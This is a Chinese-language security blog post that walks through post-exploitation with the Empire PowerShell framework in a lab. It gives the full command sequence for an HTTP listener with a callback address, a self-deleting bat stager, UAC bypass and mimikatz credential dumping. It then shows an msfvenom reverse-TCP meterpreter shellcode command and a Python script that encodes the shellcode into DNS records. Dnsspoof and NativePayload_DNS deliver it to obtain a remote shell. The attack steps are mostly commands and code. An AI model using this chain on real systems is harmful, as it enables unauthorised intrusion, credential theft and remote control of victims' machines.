前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网工具学习之Empire后渗透

内网工具学习之Empire后渗透

作者头像
ChaMd5安全团队
发布2018-08-08 17:16:02
9500
发布2018-08-08 17:16:02
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队
本文来自ChaMd5安全团队CleanRobots,文章内容以思路为主。

如需转载,请先联系ChaMd5安全团队授权。

未经授权请勿转载。

前言:

Empire一款基于PowerShell的后渗透测试工具。感谢某葵和某Egg的推荐和指点。感谢某骗子给我解惑DNS的一些东西。

安装:
  • github项目地址: https://github.com/EmpireProject/Empire
  • 下载: git clone https://github.com/EmpireProject/Empire.git
  • Empiresetup目录执行install.sh文件 ./install.sh

开始下载安装运行依赖文件

最后设置数据库密码那里可以默认回车,也可以自己设置

踩坑经历:

如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。

  • 使用 (Empire)> listeners # 监听
    • 监听

(Empire: listeners) > uselistener http #选择监听方式

(Empire: listeners/http) > info #查看需要配置的选项

(Empire: listeners/http) > set Name backdoor #设置监听名字

养成良好的习惯设置自己容易理解的名字,方便管理shell

(Empire: listeners/http) > set Host http://192.168.80.131:4447 #设置木马反弹回连地址

(Empire: listeners/http) > set Port 4447 #设置本地监听端口

(Empire: listeners/http) > execute #执行监听

至此,监听工作完成。我们开始配置生成后门。

  • 生成木马 (Empire: listeners/http) > back #返回上层模块 (Empire: listeners) > usestager windows/launcher_bat backdoor # 选择木马种类

这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。

(Empire: stager/windows/launcher_bat) > info #查看需要配置的

你可以set OutFile 到你指定的目录(绝对路径)

(Empire: stager/windows/launcher_bat) > execute #执行生成木马

我们把tmp目录下的文件拷贝到我们的目标主机上运行

弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。

点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。

(Empire: stager/windows/launcher_bat) > agents #查看获取的代理会话

一个会话已经建立完成。

(Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字

养成一个良好的习惯。

(Empire: agents) > interact win7pro #和该会话交互

从session_key这里可以看出我们的会话是经过加密的。

同时该框架还提供了bypassuac,mimikaz等模块,为渗透提供高效,快速的提升权限,信息获取。

正好结合这个说一个dns传输backdoor payload的方式

  • NativePayload_DNS 项目地址: https://github.com/DamonMohammadbagher/NativePayload_DNS.git 首先编译源码生成可执行文件 使用visual studio 工具命令编译!

生成NativePayload_DNS.exe 。

上传到我们攻击的机器上去,进入到交互界面。

首先我们先试试利用bypassuac这个功能,看看是否可以提升权限获取该机器管理员的密码,直接运行mimikatz是会报错的。

运行后我们看到有第二个会话开始建立中,稍等片刻

(Empire: win7pro) > agents #列举代理会话

细心的人可能发现多了一个*号那个usename那里

(Empire: agents) > rename 8TKB4G9S win7proprivilege #这里我说了三遍,很重要。

(Empire: agents) > interact win7proprivilege #和这个会话交互

(Empire: win7proprivilege) > mimikatz #使用mimikatz

(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上传

(Empire: win7proprivilege) > shell dir #查看是否上传成功.

开始配置服务端

代码语言:javascript
复制
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.131 lport=4444 -f c > /root/Desktop/payload.txt

#生成shellcode

这里申明下,网上的命令可能因为文章格式问题,导致命令不对,这里我做了修正。写了一个转换脚本,代码如下(一把梭,勿喷):

代码语言:javascript
复制
#!/usr/bin/python2
#!-*- coding:utf-8 -*-

a = ''
f = open("payload.txt", "rb")
line = f.readlines()[1:]
f.close()
for lines in range(len(line)):
    ipls = '1.1.1.%s' % lines
    shellcode = line[lines].replace(";","").strip().rstrip("\"")+".1.com"+"\""
    text = ipls + " " + "\"" + "0x"+shellcode.lstrip("\"")
    a += text.replace("\\","0")+"\n"
fn = open("dns.txt", "wb")
fn.write(a)
fn.close()

这里网上给出的样例也有问题,看了好久发现传输的payload缺少了一个"0x",于是在dns.txt做了修改。一直被老哥教育细心,耐心,这回总算用成了一回。

开启msf监听,这里就不再赘述了。

开启欺骗

root@localhost# dnsspoof -f dns.txt

服务端配置完成,现在回到我们的empire会话执行命令,获取meterpreter shell.

(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #执行

这个比较慢,需要稍等会,等它传输完,就会返回shell。

一张图证明empire绕过了UAC:

我被大佬吐槽学习自己代码实现功能,所有东西项目地址已经在文章中,抛砖引玉,多多学习交流。ChaMd5安全团队欢迎您来学习交流。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-07-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 安装:
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档